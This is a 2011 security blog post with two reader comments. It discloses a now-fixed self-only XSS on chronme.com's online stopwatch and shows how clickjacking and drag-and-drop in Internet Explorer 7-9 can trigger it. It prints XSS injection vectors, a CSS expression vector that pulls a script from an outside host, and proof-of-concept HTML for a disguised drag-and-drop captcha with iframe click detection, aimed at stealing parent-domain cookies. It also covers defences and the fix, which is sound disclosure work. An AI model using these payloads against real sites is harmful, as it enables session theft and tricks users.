Clickjacking is a very nice techinque, that allows us to exploit unexploitable XSS flaws, for instance a "Self-Only" XSS. Krzysztof Kotowicz showed how an attacker could be able to perform such kind of exploits in order to trigger the flaw.

So what we need?
- Social engineering (I mean, a clumsy and inattentive user: a chicken... :D )
- A very permissive browser

I recommend you to read an awesome paper about UI redressing attacks by Marcus Niemietz; it summarizes and presents all the recent techniques and the best ways to prevent such kind of issues.

I'm starting this blogpost by showing a vulnerability I discovered few weeks ago on chronme.com and by discussing how it worked and how I was able to exploit it. Perhaps you will find nothing new, but my purpose is just to show how could be easy to achieve a UI redressing attack with Internet Explorer.
The issue has been fixed, thank you Phil for your collaboration! :)

Click here to skip this following analysis and go directly to the Proof of Concept, which works fine with IE 7,8,9.

Analysis

Chronme is an Online Chronometer, it is really cool and can be used for a wide range of purposes. Give it a look! The issue, I was talking about, can be found in the setlabel() javascript function, it is used to supply a label for a taken instant of time and it is called when the user inserts a label into an input tag.

function setlabel(labelid) {
labeltext=document.getElementById('label-'+labelid).value;

document.getElementById('laplabel-'+labelid).innerHTML = '<input style="font-size:0.8em;" type="text" onchange="setlabel('+labelid+')" size="24" maxlength="28" id="label-'+labelid+'" value="'+labeltext+'"/>';
}

It is possible to realize a XSS by suppyling the following vector as a label:

"><i>hello</i>

First of all, we can break the attribute value with the quote and close the input tag, then we can inject any kind of HTML.

"><b onclick=alert(9)>click

I have to notice that the attribute size for the input tag is limited to 28 characters, so I have to optimize the characters usage in order to achieve the more effective attack, by using the minimum possible # of chars. So very very simple:

"><b onclick=innerHTML=URL>

By loading the page with the following url:

http://online-stopwatch.chronme.com/#<img src=X onerror=alert(0)>

(I hope you remember how Mario Heiderich solved the tr3w's awesome challenge).

Take in mind that innerHTML=URL will be not effective in the case of Firefox; this latter will report the urlencoded URL, it means that we should be able to supply something like innerHTML=decodeURIComponent(URL).

The following stuff, I'm reporting just for completeness, should be not bad, but we will spend too much chars.
<i>vector</i>:
<style>@import url(//x.x/h.css);

<i>x.x/h.css</i>:
body{
width: expression(document.body.appendChild(document.createElement('script')).src='http://ww.ww.ww'););
}

I'm definitely aware of the fact that this issue seems to be not exploitable because it requires that the user inserts the payload and then clicks on it. Actually it is possible to exploit it by employing the clickjacking technique in order to trigger the XSS flaw. It is possible to use an invisible iframe which includes the online-stopwatch page and force the victim to click on some elements. He should be not able to understand the presence of the iframe, so he could unconsciously give place to the XSS vulnerability, which has been mentioned before.
Notice that the attack should be based on drag and drop: this method is used to populate the value of the input tag (related to the label), so that the user does not have to type it!
I prefer to skip the long discussion about how clickjacking should be avoided, but I report just a hint for completeness:
1. Adopt the X-Frame-Options header
2. Employ the JS + CSS protection

The issue has been quickly solved with some processing to the label input so that tags, quotes or double quotes aren't allowed. However no clickjacking preventions have been applied.

function setlabel(labelid) {
labeltext=document.getElementById('label-'+labelid).value.replace(/(<([^>]+)>)/ig,"");
labeltext=labeltext.replace(/[\"\']/g,"");

document.getElementById('laplabel-'+labelid).innerHTML = '<input style="font-size:0.6em;" type="text" onchange="setlabel('+labelid+')" size="24" maxlength="28" id="label-'+labelid+'" value="'+labeltext+'"/>';
}

The first regex can be bypassed by employing a tag ending with '//', while the second one solves definitely the issue. Since properly quoted attributes can only be escaped with the corresponding quote and I cannot inject a quote, then I cannot inject HTML code. Notice that single quotes could be allowed.

Actually there are no important cookies to steal (related to online-stopwatch subdomain)! The cookies (related to the "upper" domain, that is chronme.com) are setted with the domain property equal to .chronme.com, it means that the sub-domain may also read these ones. So the attacker could be able to steal the cookies related to the domain chronme.com, which includes the blog (wordpress) too.

Clickjacking with Internet Explorer

I wrote a PoC, that works ok in IE 7, 8, 9, check it here. You will find a video too, showing how the attack could work (the issue has been solved, so you cannot test it anymore). It simulates a kind of captcha, based on some stupid mathematical operations. The user has to drag the right result of something like '1+3' and drop it into an input, then he has to click OK for confirming its answer. Too simple!
Why IE? I started playing with IE9 when I discovered that the onchange event is not fired in Firefox after a drag and drop operation. I mean, by dragging and dropping some text into an input tag, which has setted an onchange attribute, nothing happens until the user writes at least one character into it. IE, Chrome and Opera fires the event handler just after losing the focus.
Drag and drop operations can be used for filling forms across domains (info); Basically to make a cross browser HTML5 drag and drop is very very annoying, so a lot of attackers tries to just use the setData method, but this latter works fine in Firefox and Safari. Actually IE allows us to realize this kind of operation in a trivial way, just exploiting the ondragstart and ondragend events. They might be applied to a textarea tag whose content is automatically selected with a simple onmouseover="this.select()".

So far so good, indeed the most important part (of the PoC) is the following:

<textarea id="x" rows="1" cols="8" ondragstart="this.innerText='"><b onclick=innerHTML=URL>x';this.select();changeIframePosition(13,1,0);cover(11);" ondragend="changeIframePosition(16,1,1);document.getElementById('end').innerHTML='6';this.focus();" onmouseover="this.select()" style="cursor: move;">
6</textarea>

When a drag operation starts, we can silently overwrite the textarea content with the payload and at the end we have to force again the selection of the new text. This stuff works good in Chrome too, but don't forget that it disabled the cross-origin drag and drop. The payload will be injected in the target forms when the drop event happens. The this.focus() into the ondragend forces the target input to lose the focus in order to fire the onchange event.
You can test what I'm saying with this code:

<textarea id="x" rows="1" cols="8" ondragstart="this.innerText='payload';this.select();" ondragend="this.focus();" onmouseover="this.select()" style="cursor: move;">
drag me</textarea>

<textarea onchange="alert(0)">drop here</textarea>

Furthermore IE allows to detect a click on an iframe with the onfocus attribute. This is very very bad, because the attacker could understand whenever the user clicks over the iframe in order to give him a kind of feedback. Take a look at the PoC and note that the "OK" button in the parent page becomes green after a click into the invisible iframe.

<script>
function clickFeedback() {
var a = document.getElementById("mybutton");

// let's give a feedback to the user
a.style.background="#00FF00";
}
</script>

<iframe id="clickjacking" src="X" scrolling="no" frameborder="none" onfocus="clickFeedback()"></iframe>

I recommend you to take a look at the proof of concept code, it's easy, but effective.
So yeah, UI redressing is a powerful technique and, we know, bad guys love it so much! Let's try to convince browser vendors to disable cross-origin drag and drop and developers to apply the right preventions...

2 Responses to Self-Only XSS vulnerability (chronme.com) and considerations about UI redressing - clickjacking - in IE

  1. 1047 Krzysztof Kotowicz 2011-06-12 10:49 pm

    Great PoC! I dig the equation game - we need at least a few convincing scenarios demonstrating UI redressing, and it's tricky to make the user drag ?

    Also - great IE technique, I'm stealing that for the future ;) as for the iframe onfocus - ouch. That could really hurt, great finding!

    We really need browsers to disallow cross origin drag & drop. WebKit did it, Mozilla ignores the problem for now - everyone vote for https://bugzilla.mozilla.org/show_bug.cgi?id=605991 and https://bugzilla.mozilla.org/show_bug.cgi?id=639796 if you care.

  2. 1048 sneak 2011-06-13 8:02 am

    Hi Krzysztof, thank you!
    The equation "game" could be used as a captcha, before starting reproducing a stupid video, so that the user should be hardly pushed to make the drag and drop operations (without suspecting anything).

    > Also - great IE technique, I'm stealing that for the future ;)

    Yeah, IE gives us some ways to make the attack simple, but very effective... The click feedback technique is basically bad.

    Let me updated if you find some related vectors.
    Thank you for these links.

Leave a Reply